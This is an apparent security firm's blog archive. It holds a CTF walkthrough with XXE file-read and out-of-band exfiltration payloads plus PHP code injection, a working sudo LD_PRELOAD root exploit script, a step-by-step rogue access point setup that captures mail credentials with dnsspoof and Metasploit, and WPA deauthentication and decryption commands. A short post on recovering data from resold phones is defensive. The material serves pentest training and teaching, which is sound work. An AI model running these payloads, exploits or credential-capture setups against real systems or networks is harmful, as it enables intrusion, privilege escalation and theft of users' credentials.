Grey bar Blue bar
Share this:

Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:

The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:

The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.

The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.

Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>

This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<description>Free web building tutorials</description>
<title>RSS Tutorial</title>
<title>XML Tutorial</title>
<description>New XML tutorial on W3Schools</description>

And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:

The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.

The submitted POST request
The submitted POST request

It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">

Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:

<?xml version="1.0" ?>
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">

We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.

Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.

As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:

The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.

Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":

Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:

<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url></url></feed>

Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.

The two runners up who both can claim one of our awesome 2014 t-shirts:

Vitaly aka @send9

Sash aka @secdefect

Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Fri, 7 Feb 2014

Channel 4 - Mobile Phone Experiment

This evening we were featured on Channel 4's DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been "wiped" (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.

After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:

  • Browsing history

  • Cookies (e.g. email and Facebook)

  • Contacts

  • SMS messages

  • Photographs

  • Address information

  • Personal documents

It would have been theoretically possible to use the cookies to impersonate the users - i.e. log in as the previous owners. We opted not to do this, as it was crossing an ethical line.

What's the lesson here?

Be very careful when selling your phone. It's fairly trivial to recover large amounts of data from mobile phones - and the tools to do so are freely available.

How can I protect myself?

This will depend on what type of phone you have, and specifically whether the data is encrypted, and if it is, if the key is recoverable. Unencrypted phones were easy game.

iPhone devices encrypt their data by default, which makes it hard (almost impossible) to recover data after performing a factory reset. There are some attacks against iPhones older than 4s which may have more success.

Android devices by default have no encryption, which means that somebody (like us) could easily recover large amounts of supposedly deleted data. It's a good idea to keep your phone encrypted.

Both Windows phone 8 and BlackBerry allow optional encryption to be configured, but this is not enabled by default. Windows phone 7 does not support encryption of the core filesystem.

If you have an existing phone that you're about to sell we'd recommend you encrypt the phone twice after resetting it to factory default (once to destroy your data, the second time to destroy the key used for the first round).

Keep in mind, this applies to all storage media - hard drives on laptops, camera memory cards, etc. It's largely recoverable, even when seemingly deleted.

We would like to thank Paolo Dal Checco (@forensico) and fellow SensePost'er Vlad (@v1ad_o) for their help during the experiment.

On a legal note, the experiment was conducted on a laptop with full disk encryption, and *all* data was deleted after returning the phones to Channel 4.

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1

Fri, 12 Jul 2013

Rogue Access Points, a how-to

In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use.

I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.

This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course.


First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service.

Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali).

For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple.

Finally, you'll need to install some packages, I'll discuss those as we set each thing up.


We're going to string a couple of things together here:

Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail)

There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple.

Access Point

Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough.

For this section, we'll use a few tools:

  • airbase-ng (via the aircrack-ng suite)

  • macchanger

  • iw

You can install these with: apt-get install aircrack-ng macchanger iw

First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run:

ifconfig wlan0 down
macchanger -r wlan0 #randomise our MAC
iw reg set BO #change our regulatory domain to something more permissive
ifconfig wlan0 up
iwconfig wlan0 txpower 30 #1Watt transmit power

Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof.

airmon-ng start wlan0 #Put our card into monitor mode
airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode
#airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma)

Airbase has a couple of different ways to work. I'll explain the parameters:

  • -c channel, check which channel is the least occupied with airodump

  • -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP.

  • -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload

  • -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much

  • -v be verbose

  • -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets.

If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running.

Routing & IP Time

There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here.

The basics:

ifconfig at0 up netmask
route add -net netmask gw
echo '1' > /proc/sys/net/ipv4/ip_forward

This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates:

apt-get install bridge-utils #To get the brctl tool, only run this once
brctl addbr br0
brctl addif br0 eth0 #Assuming eth0 is your upstream interface
brctl addif br0 at0
ifconfig br0 up

If you wanted to NAT, you could use:

iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first
iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY
iptables --policy FORWARD ACCEPT
iptables -t nat -F
iptables -F
#The actual NAT stuff
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT

Legitimate Services
We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid.

apt-get install isc-dhcp-server #Only run this once
cat >> dhcpd.conf #We need to write the dhcp config file
subnet netmask {
option routers;
option domain-name-servers;
}^D #If you chose this method of writing the file, hit Ctrl-D
dhcpd -cf dhcpd.conf

Evil Services

We're going to cover three evil services here:

  • DNS spoofing

  • Captive portal detection avoidance

  • Mail credential interception services

DNS spoofing

Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us.

apt-get install dsniff #Only run the first time :)
cat >> dns.txt *
^D #As in hit Ctrl-C
dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script

Captive Portal Detection Avoidance

Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here.

apt-get install apache2
cd /
tar zcvf ~/apache-spoof_captive_portal.tar.gz
service apache start

This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for,, etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for will hit our apache.

Mail credential interception

Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit).

All we need to do, is create a resource script, then edit it with msfconsole:

cat >> karma-mail.rc
use auxiliary/server/capture/imap
exploit -j

use auxiliary/server/capture/pop3
exploit -j

use auxiliary/server/capture/smtp
exploit -j

use auxiliary/server/capture/imap
set SRVPORT 993
set SSL true
exploit -j

use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
exploit -j

use auxiliary/server/capture/smtp
set SRVPORT 465
set SSL true
exploit -j
^D #In case you're just joining us, yes that's a Ctrl-D
msfconsole -r mail-karma.rc #Fire it up

This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely.


When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following:

  • Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later.

  • Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network".

  • Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button.


By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation.

This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff.

If you'd like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space.

If you'd like to read more, taddong's RootedCon talk from this year is a good place to start.

Thu, 9 May 2013

Wifi Hacking & WPA/2 PSK traffic decryption

When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I'm going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I'll be teaching at BlackHat Las Vegas soon.

When hackers find a WPA/2 network using a pre-shared key, the first thing they try and do most times, is to capture enough of the 4-way handshake to attempt to brute force the pairwise master key (PMK, or just the pre-shared key PSK). But, this often takes a very long time. If you employ other routes to find the key (say a client-side compromise) that can still take some time. Once you have the key, you can of course associate to the network and perform your layer 2 hackery. However, if you had been capturing traffic from the beginning, you would now be in a position to decrypt that traffic for analysis, rather than having to waste time by only starting your capture now. You can use the airdecap-ng tool from the aircrack-ng suite to do this:

airdecap-ng -b <BSSID of target network> -e <ESSID of target network> -p <WPA passphrase> <input pcap file>

However, because the WPA 4-way handshake generates a unique temporary key (pairwise temporal key PTK) every time a station associates, you need to have captured the two bits of random data shared between the station and the AP (the authenticator nonce and supplicant nonce) for that handshake to be able to initialise your crypto with the same data. What this means, is that if you didn't capture a handshake for the start of a WPA/2 session, then you won't be able to decrypt the traffic, even if you have the key.

So, the trick is to de-auth all users from the AP and start capturing right at the beginning. This can be done quite simply using aireplay-ng:

aireplay-ng --deauth=5 -e <ESSID>

Although, broadcast de-auth's aren't always as successful as a targeted one, where you spoof a directed deauth packet claiming to come from the AP and targeting a specific station. I often use airodump-ng to dump a list of associated stations to a csv file (with --output-format csv), then use some grep/cut-fu to excise their MAC addresses. I then pass that to aireplay-ng with:

cat <list of associated station MACs>.txt | xargs -n1 -I% aireplay-ng --deauth=5 -e <ESSID> -c % mon0

This tends to work a bit better, as I've seen some devices which appear to ignore a broadcast de-auth. This will make sure you capture the handshake so airdecap can decrypt the traffic you capture. Any further legitimate disconnects and re-auths will be captured by you, so you shouldn't need to run the de-auth again.

In summary:

  • Don't forget how useful examining traffic can be, and don't discount that as an option just because it's WPA/2

  • Start capturing as soon as you get near the network, to maximise how much traffic you'll have to examine

  • De-auth all connected clients to make sure you capture their handshakes for decryption

Once again, I'll be teaching a course covering this and other techniques at BlackHat Las Vegas, please check it out or recommend it to others if you think it's worthwhile. We're also running a curriculum of other courses at BH, including a brand new mobile hacking course.